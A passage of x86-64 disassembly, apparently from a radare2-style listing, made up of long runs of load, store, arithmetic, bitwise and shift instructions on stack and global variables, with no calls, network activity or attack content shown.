movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb650]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1ed], al
mov rax, qword [0x14019d900]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa828]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xbdc], ax
lea rax, [rsp + 0x47ec]
mov qword [rsp + 0xc028], rax
mov eax, dword [rsp + 0x420c]
mov rcx, qword [rsp + 0xbe60]
mov qword [rsp + 0xc030], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc030]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4760], eax
mov eax, dword [rsp + 0x46c4]
mov dword [rsp + 0x48e8], eax
mov rax, qword [rsp + 0xaa90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44c8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x46f0], eax
lea rax, [rsp + 0x12e]
mov qword [0x14019dc38], rax
mov rax, qword [rsp + 0xb478]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xac58]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x104c], ax
lea rax, [rsp + 0x41f0]
mov qword [rsp + 0xc038], rax
mov rax, qword [rsp + 0xa858]
mov rcx, qword [rsp + 0xb918]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42e8], eax
movzx eax, byte [rsp + 0x1b9]
mov byte [rsp + 0x214], al
movsx eax, word [rsp + 0xeb0]
mov rcx, qword [rsp + 0xba08]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x115c], ax
movzx eax, word [rsp + 0x10fc]
movzx ecx, word [rsp + 0x100c]
add eax, ecx
mov rcx, qword [rsp + 0xb2c8]
mov word [rcx], ax
lea rax, [rsp + 0x163]
mov qword [rsp + 0xc040], rax
mov rax, qword [rsp + 0xa758]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4620]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3df8], eax
lea rax, [rsp + 0x4218]
mov qword [0x14019dc40], rax
mov eax, dword [rsp + 0x4508]
mov dword [rsp + 0x48ec], eax
mov eax, dword [rsp + 0x444c]
mov ecx, dword [rsp + 0x48d4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaf88]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46ac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa80]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf54]
mov word [rsp + 0x11cc], ax
mov rax, qword [0x14019d858]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xac90]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xafd0]
mov byte [rcx], al
mov eax, dword [rsp + 0x3d34]
mov dword [rsp + 0x48f0], eax
mov eax, dword [rsp + 0x4890]
mov ecx, dword [rsp + 0x4698]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x46a8], eax
mov eax, dword [rsp + 0x475c]
mov dword [rsp + 0x48f4], eax
mov rax, qword [rsp + 0xbdf8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb9d0]
mov qword [rsp + 0xc048], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc048]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [0x14019da40]
mov dword [rcx], eax
mov rax, qword [rsp + 0xba00]
movzx eax, word [rax]
movzx ecx, word [0x14019dae8]
or eax, ecx
mov word [rsp + 0x10bc], ax
mov rax, qword [rsp + 0xb428]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x20d]
shl eax, cl
mov byte [rsp + 0x151], al
lea rax, [rsp + 0xfdc]
mov qword [rsp + 0xc050], rax
mov rax, qword [rsp + 0xafe8]
movsx eax, byte [rax]
movsx ecx, byte [0x14019bf2b]
and eax, ecx
mov rcx, qword [rsp + 0xab20]
mov byte [rcx], al
lea rax, [rsp + 0x44d0]
mov qword [rsp + 0xc058], rax
mov rax, qword [rsp + 0xb7c8]
mov ecx, dword [rsp + 0x4798]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaa00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa868]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb310]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1030], ax
mov rax, qword [rsp + 0xa970]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x202]
add eax, ecx
mov byte [rsp + 0x12c], al
mov rax, qword [rsp + 0xa708]
mov ecx, dword [rsp + 0x41d8]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019c014], eax
mov rax, qword [0x14019dc08]
mov rcx, qword [rsp + 0xb838]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xad58]
mov dword [rcx], eax
mov eax, dword [rsp + 0x48f4]
mov dword [rsp + 0x48f8], eax
mov eax, dword [0x14019bfb8]
mov ecx, dword [rsp + 0x3da0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4640], eax
movzx eax, byte [rsp + 0x193]
movzx ecx, byte [rsp + 0x1c2]
sub eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0xad68]
movzx eax, word [rax]
mov word [rsp + 0x11d0], ax
mov eax, dword [0x14019bef8]
mov ecx, dword [rsp + 0x437c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb40]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac70]
mov eax, dword [rax]
mov dword [rsp + 0x48fc], eax
mov eax, dword [rsp + 0x4544]
mov ecx, dword [rsp + 0x47b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48d0], eax
mov eax, dword [rsp + 0x46e0]
mov ecx, dword [rsp + 0x4688]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x14019dac0]
mov dword [rcx], eax
lea rax, [rsp + 0x4740]
mov qword [rsp + 0xc060], rax
movsx eax, word [rsp + 0x109c]
mov rcx, qword [rsp + 0xba08]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa808]
mov word [rcx], ax
mov rax, qword [rsp + 0xabd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fa]
sar eax, cl
mov rcx, qword [rsp + 0xb7c0]
mov byte [rcx], al
lea rax, [rsp + 0x1bd]
mov qword [rsp + 0xc068], rax
mov rax, qword [rsp + 0xbaa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb050]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x105c], ax
lea rax, [rsp + 0x46bc]
mov qword [rsp + 0xc070], rax
mov rax, qword [rsp + 0xa8a0]
mov ecx, dword [rsp + 0x4690]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4300], eax
movzx eax, word [rsp + 0xb44]
mov rcx, qword [rsp + 0xaae8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10a4], ax
movzx eax, byte [rsp + 0x197]
movzx ecx, byte [rsp + 0x1e6]
add eax, ecx
mov rcx, qword [0x14019d8b8]
mov byte [rcx], al
mov eax, dword [rsp + 0x4794]
mov dword [rsp + 0x4900], eax
mov rax, qword [rsp + 0xb950]
mov ecx, dword [rsp + 0x470c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41b8], eax
mov rax, qword [0x14019da40]
mov eax, dword [rax]
mov dword [rsp + 0x4904], eax
mov eax, dword [rsp + 0x4854]
mov ecx, dword [rsp + 0x4430]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x473c], eax
movzx eax, word [rsp + 0xae4]
movzx ecx, word [rsp + 0x1154]
sub eax, ecx
mov word [rsp + 0xfb8], ax
lea rax, [0x14019bf03]
mov qword [rsp + 0xc078], rax
mov rax, qword [rsp + 0xb350]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4798], eax
mov eax, dword [rsp + 0x4268]
mov dword [rsp + 0x4908], eax
lea rax, [rsp + 0xf74]
mov qword [0x14019dc48], rax
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16d]
add eax, ecx
mov rcx, qword [rsp + 0xbf10]
mov byte [rcx], al
movzx eax, word [rsp + 0xfa4]
mov rcx, qword [rsp + 0xb828]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbfb0]
mov word [rcx], ax
lea rax, [0x14019bef3]
mov qword [rsp + 0xc080], rax
mov rax, qword [rsp + 0xbd28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e98], eax
lea rax, [rsp + 0x48d0]
mov qword [rsp + 0xc088], rax
mov eax, dword [rsp + 0x47c8]
mov ecx, dword [rsp + 0x46d0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x41a8], eax
mov eax, dword [rsp + 0x4850]
mov dword [rsp + 0x490c], eax
mov eax, dword [rsp + 0x3400]
mov rcx, qword [rsp + 0xae08]
mov qword [rsp + 0xc090], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc090]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xba80]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb130]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c3]
shl eax, cl
mov byte [rsp + 0x18a], al
movzx eax, word [rsp + 0xf78]
movzx ecx, word [rsp + 0xebc]
or eax, ecx
mov word [0x14019bf6c], ax
mov rax, qword [rsp + 0xac98]
mov eax, dword [rax]
mov dword [rsp + 0x4910], eax
mov rax, qword [0x14019d8c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45dc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4298], eax
lea rax, [rsp + 0x460c]
mov qword [rsp + 0xc098], rax
mov rax, qword [rsp + 0xa778]
mov rcx, qword [rsp + 0xb458]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb580]
mov dword [rcx], eax
mov rax, qword [0x14019db68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10b0]
sub eax, ecx
mov word [rsp + 0x1000], ax
movzx eax, byte [rsp + 0x176]
mov rcx, qword [rsp + 0xaa78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x13e], al
mov rax, qword [rsp + 0xac20]
movsx eax, word [rax]
mov rcx, qword [0x14019dc48]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa790]
mov word [rcx], ax
movzx eax, byte [rsp + 0x211]
mov byte [rsp + 0x215], al
mov rax, qword [rsp + 0xabe0]
mov eax, dword [rax]
mov dword [0x14019dc50], eax
mov rax, qword [rsp + 0xa6f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x483c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4908], eax
movzx eax, byte [rsp + 0x1c7]
mov rcx, qword [rsp + 0xab68]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc040]
mov byte [rcx], al
lea rax, [rsp + 0x1050]
mov qword [rsp + 0xc0a0], rax
mov rax, qword [rsp + 0xaa00]
mov ecx, dword [rsp + 0x4788]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbd90]
mov dword [rcx], eax
lea rax, [0x14019bffc]
mov qword [rsp + 0xc0a8], rax
mov rax, qword [rsp + 0xa4a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4624], eax
mov rax, qword [rsp + 0xb4b8]
mov eax, dword [rax]
mov dword [rsp + 0x4914], eax
movzx eax, word [0x14019bfb0]
mov rcx, qword [rsp + 0xbfb0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1160], ax
mov rax, qword [rsp + 0xa780]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb428]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14019d7c0]
mov byte [rcx], al
mov rax, qword [0x14019dab8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb150]
mov qword [rsp + 0xc0b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc0b0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x486c], eax
lea rax, [rsp + 0x44a0]
mov qword [rsp + 0xc0b8], rax
mov rax, qword [rsp + 0xb0d0]
mov rcx, qword [rsp + 0xaab8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb360]
mov dword [rcx], eax
lea rax, [rsp + 0x40e4]
mov qword [rsp + 0xc0c0], rax
mov eax, dword [rsp + 0x42a8]
mov ecx, dword [rsp + 0x42d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x48ec], eax
mov rax, qword [rsp + 0xbd80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb6c8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf48], ax
mov rax, qword [rsp + 0xbc10]
movzx eax, byte [rax]
mov byte [rsp + 0x216], al
movzx eax, byte [0x14019beee]
mov rcx, qword [rsp + 0xbdb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e1], al
mov rax, qword [rsp + 0xb6d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10a8]
sub eax, ecx
mov word [0x14019c018], ax
mov eax, dword [0x14019da08]
mov dword [rsp + 0x4918], eax
mov rax, qword [rsp + 0xba90]
mov rcx, qword [rsp + 0xbf58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb118]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa800]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10fc]
add eax, ecx
mov rcx, qword [rsp + 0xab90]
mov word [rcx], ax
mov rax, qword [0x14019daf8]
movzx eax, byte [rax]
mov byte [rsp + 0x217], al
mov rax, qword [rsp + 0xbb70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4788]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb838]
mov dword [rcx], eax
mov eax, dword [rsp + 0x455c]
mov dword [rsp + 0x491c], eax
mov rax, qword [rsp + 0xa3b8]
mov ecx, dword [0x14019dbb8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x45ec], eax
mov rax, qword [rsp + 0xa590]
mov ecx, dword [rsp + 0x4654]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4248], eax
movzx eax, word [rsp + 0x10b0]
mov rcx, qword [rsp + 0xac40]
movzx ecx, word [rcx]
and eax, ecx
mov word [str.a_t_nJ], ax
mov rax, qword [rsp + 0xbcb8]
movzx eax, byte [rax]
mov byte [rsp + 0x218], al
mov eax, dword [rsp + 0x391c]
mov rcx, qword [rsp + 0xa840]
mov qword [rsp + 0xc0c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc0c8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xb090]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4528]
mov dword [rsp + 0x4920], eax
movsx eax, byte [rsp + 0x1eb]
movsx ecx, byte [rsp + 0x1fd]
xor eax, ecx
mov rcx, qword [rsp + 0xbf10]
mov byte [rcx], al
mov rax, qword [rsp + 0xa578]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba28]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xafc], ax
mov rax, qword [rsp + 0xb258]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d6]
shl eax, cl
mov rcx, qword [rsp + 0xbd00]
mov byte [rcx], al
mov rax, qword [rsp + 0xb6d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10d4]
sub eax, ecx
mov rcx, qword [rsp + 0xb210]
mov word [rcx], ax
mov rax, qword [rsp + 0xaf88]
mov eax, dword [rax]
mov dword [rsp + 0x4924], eax
mov rax, qword [rsp + 0xb728]
mov rcx, qword [rsp + 0xa698]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019c01c], eax
mov rax, qword [rsp + 0xa7a0]
mov rcx, qword [rsp + 0xabf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x47d8], eax
lea rax, [rsp + 0x4274]
mov qword [rsp + 0xc0d0], rax
mov rax, qword [rsp + 0xb6e0]
mov ecx, dword [rsp + 0x4644]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb908]
mov dword [rcx], eax
movzx eax, word [rsp + 0xfe4]
mov rcx, qword [rsp + 0xa9c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb050]
mov word [rcx], ax
lea rax, [rsp + 0x19b]
mov qword [rsp + 0xc0d8], rax
mov rax, qword [rsp + 0xa998]
mov rcx, qword [0x14019da90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x48dc], eax
lea rax, [rsp + 0x3ca4]
mov qword [rsp + 0xc0e0], rax
mov eax, dword [rsp + 0x4874]
mov ecx, dword [rsp + 0x469c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x430c], eax
lea rax, str.so_g_
mov qword [0x14019dc58], rax
mov rax, qword [rsp + 0xa968]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x167]
add eax, ecx
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0xb050]
movzx eax, word [rax]
mov word [rsp + 0x11d4], ax
movsx eax, word [rsp + 0x1014]
movsx ecx, word [rsp + 0xeac]
add eax, ecx
mov word [rsp + 0x1114], ax
movzx eax, byte [rsp + 0x20a]
mov byte [rsp + 0x219], al
mov rax, qword [rsp + 0xb9f8]
mov rcx, qword [rsp + 0xc038]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47a8], eax
mov rax, qword [rsp + 0xb880]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4254]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa718]
mov dword [rcx], eax
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0xc0e8], rax
movzx eax, word [rsp + 0x1068]
movzx ecx, word [rsp + 0xe20]
xor eax, ecx
mov rcx, qword [rsp + 0xba30]
mov word [rcx], ax
mov rax, qword [rsp + 0xbb10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4918]
shl eax, cl
mov dword [0x14019da38], eax
mov rax, qword [rsp + 0xb8d0]
mov eax, dword [rax]
mov dword [rsp + 0x4928], eax
mov rax, qword [rsp + 0xabd0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3578]
sar eax, cl
mov dword [rsp + 0x46b0], eax
mov rax, qword [0x14019db30]
mov eax, dword [rax]
mov dword [rsp + 0x492c], eax
movzx eax, word [rsp + 0xf28]
mov rcx, qword [rsp + 0xac58]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1040], ax
mov rax, qword [rsp + 0xbdb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x119]
and eax, ecx
mov byte [rsp + 0x1dc], al
mov eax, dword [0x14019bf30]
mov dword [rsp + 0x4930], eax
mov rax, qword [rsp + 0xbcc0]
mov ecx, dword [rsp + 0x41dc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4644], eax
mov rax, qword [rsp + 0xc0e0]
mov eax, dword [rax]
mov dword [rsp + 0x4934], eax
mov eax, dword [rsp + 0x4344]
mov dword [0x14019dc60], eax
mov rax, qword [rsp + 0xa670]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48e0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb230]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x209]
movsx ecx, byte [rsp + 0x14b]
and eax, ecx
mov byte [rsp + 0x8c], al
mov rax, qword [rsp + 0xb308]
movzx eax, word [rax]
mov word [rsp + 0x11d8], ax
mov rax, qword [0x14019d8d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb578]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf34], ax
movzx eax, byte [rsp + 0x1f5]
mov rcx, qword [rsp + 0xa540]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x84], al
mov rax, qword [rsp + 0xba68]
mov eax, dword [rax]
mov ecx, dword [0x14019bfd8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48a8], eax
mov eax, dword [rsp + 0x41b4]
mov ecx, dword [rsp + 0x4820]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4178], eax
lea rax, [rsp + 0x1060]
mov qword [rsp + 0xc0f0], rax
movzx eax, byte [rsp + 0x177]
mov rcx, qword [rsp + 0xb818]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14019daf8]
mov byte [rcx], al
mov rax, qword [rsp + 0xbe28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4794]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb8f0]
mov dword [rcx], eax
lea rax, [rsp + 0x47d8]
mov qword [rsp + 0xc0f8], rax
mov eax, dword [rsp + 0x45e0]
movzx ecx, al
mov eax, dword [rsp + 0x45e4]
sar eax, cl
mov dword [rsp + 0x3b8c], eax
mov rax, qword [rsp + 0xbf80]
mov eax, dword [rax]
mov dword [rsp + 0x4938], eax
movzx eax, word [rsp + 0xb44]
mov rcx, qword [rsp + 0xbbb0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1010], ax
mov rax, qword [0x14019d858]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbcc8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x18a], al
mov rax, qword [rsp + 0xb768]
mov eax, dword [rax]
mov dword [rsp + 0x493c], eax
mov rax, qword [0x14019da90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4528]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4508], eax
lea rax, [rsp + 0x1a9]
mov qword [0x14019dc68], rax
movzx eax, word [rsp + 0x1178]
mov word [rsp + 0x11dc], ax
movzx eax, byte [rsp + 0x1b1]
movzx ecx, byte [rsp + 0x194]
sub eax, ecx
mov rcx, qword [rsp + 0xa9d8]
mov byte [rcx], al
mov rax, qword [0x14019dc20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe6c]
add eax, ecx
mov word [rsp + 0x118c], ax
lea rax, [rsp + 0x486c]
mov qword [rsp + 0xc100], rax
mov rax, qword [rsp + 0xb458]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4148]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa888]
mov dword [rcx], eax
lea rax, [rsp + 0x3c38]
mov qword [rsp + 0xc108], rax
mov rax, qword [rsp + 0xa7b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x465c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x400c], eax
mov rax, qword [rsp + 0xb108]
mov rcx, qword [rsp + 0xb318]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3f1c], eax
lea rax, [rsp + 0x1154]
mov qword [rsp + 0xc110], rax
movzx eax, byte [rsp + 0x164]
movzx ecx, byte [rsp + 0x1a6]
sub eax, ecx
mov rcx, qword [0x14019d9c8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb9f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4900]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41e0], eax
mov eax, dword [rsp + 0x48b8]
mov dword [rsp + 0x4940], eax
mov rax, qword [rsp + 0xaf90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4324]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fc0], eax
mov rax, qword [0x14019db88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44e4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd98]
mov dword [rcx], eax
lea rax, [rsp + 0xc7c]
mov qword [rsp + 0xc118], rax
movzx eax, byte [rsp + 0x156]
movzx ecx, byte [rsp + 0x195]
sar eax, cl
mov rcx, qword [rsp + 0xb698]
mov byte [rcx], al
lea rax, [rsp + 0xc60]
mov qword [rsp + 0xc120], rax
mov rax, qword [0x14019dc68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16c]
shl eax, cl
mov byte [rsp + 0x1b8], al
lea rax, [rsp + 0x48a0]
mov qword [0x14019dc70], rax
lea rax, [rsp + 0x48b4]
mov qword [rsp + 0xc128], rax
movzx eax, word [rsp + 0x10cc]
mov rcx, qword [0x14019dc20]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x103c], ax
mov rax, qword [rsp + 0xaf38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ad]
or eax, ecx
mov byte [rsp + 0x19d], al
mov eax, dword [rsp + 0x3c74]
mov dword [rsp + 0x4944], eax
mov eax, dword [0x14019bfc4]
mov ecx, dword [rsp + 0x4464]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x44cc], eax
mov eax, dword [rsp + 0x3c38]
mov dword [rsp + 0x4948], eax
mov eax, dword [rsp + 0x42a0]
mov ecx, dword [rsp + 0x464c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc90]
mov dword [rcx], eax
mov rax, qword [0x14019db90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xada8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb480]
mov word [rcx], ax
mov rax, qword [rsp + 0xadc8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa908]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019beee], al
lea rax, [rsp + 0x41e0]
mov qword [rsp + 0xc130], rax
mov rax, qword [0x14019d808]
mov ecx, dword [rsp + 0x4928]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaf18]
mov dword [rcx], eax
lea rax, [rsp + 0x436c]
mov qword [rsp + 0xc138], rax
mov rax, qword [rsp + 0xbf20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4454], eax
mov rax, qword [rsp + 0xa5c8]
mov eax, dword [rax]
mov ecx, dword [0x14019bf50]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4434], eax
lea rax, [rsp + 0x1014]
mov qword [rsp + 0xc140], rax
movsx eax, byte [rsp + 0x1a1]
mov rcx, qword [rsp + 0xb710]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x17a], al
lea rax, [rsp + 0xfd0]
mov qword [rsp + 0xc148], rax
movzx eax, byte [rsp + 0x15d]
movzx ecx, byte [rsp + 0x1fb]
sub eax, ecx
mov byte [0x14019d7b2], al
mov rax, qword [0x14019db88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x48d4], eax
lea rax, [rsp + 0x4898]
mov qword [rsp + 0xc150], rax
movzx eax, byte [rsp + 0x176]
mov rcx, qword [rsp + 0xb698]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x191], al
mov rax, qword [rsp + 0xc118]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
sar eax, cl
mov word [rsp + 0x1048], ax
mov eax, dword [rsp + 0x4948]
mov dword [rsp + 0x494c], eax
mov rax, qword [rsp + 0xa368]
mov rcx, qword [rsp + 0xc130]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xbe28]
mov dword [rcx], eax
mov eax, dword [rsp + 0x44a0]
mov dword [rsp + 0x4950], eax
mov rax, qword [rsp + 0xaa30]
mov eax, dword [rax]
mov ecx, dword [0x14019bf78]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa9a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb818]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf38]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14019bf6e], al
mov rax, qword [rsp + 0xb2e8]
movzx eax, word [rax]
mov rcx, qword [0x14019d9b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf50], ax
lea rax, [rsp + 0x3418]
mov qword [rsp + 0xc158], rax
mov eax, dword [rsp + 0x4624]
mov ecx, dword [rsp + 0x4528]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4288], eax
mov rax, qword [rsp + 0xb180]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbf10]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc2], al
movsx eax, word [rsp + 0x1148]
movsx ecx, word [rsp + 0x10ec]
add eax, ecx
mov word [rsp + 0x1178], ax
mov rax, qword [rsp + 0xaf48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f7]
add eax, ecx
mov rcx, qword [rsp + 0xb818]
mov byte [rcx], al
lea rax, [rsp + 0x11a8]
mov qword [rsp + 0xc160], rax
mov rax, qword [rsp + 0xb090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41f8], eax
mov eax, dword [0x14019c000]
mov ecx, dword [rsp + 0x46ac]
and ecx, eax
mov eax, ecx
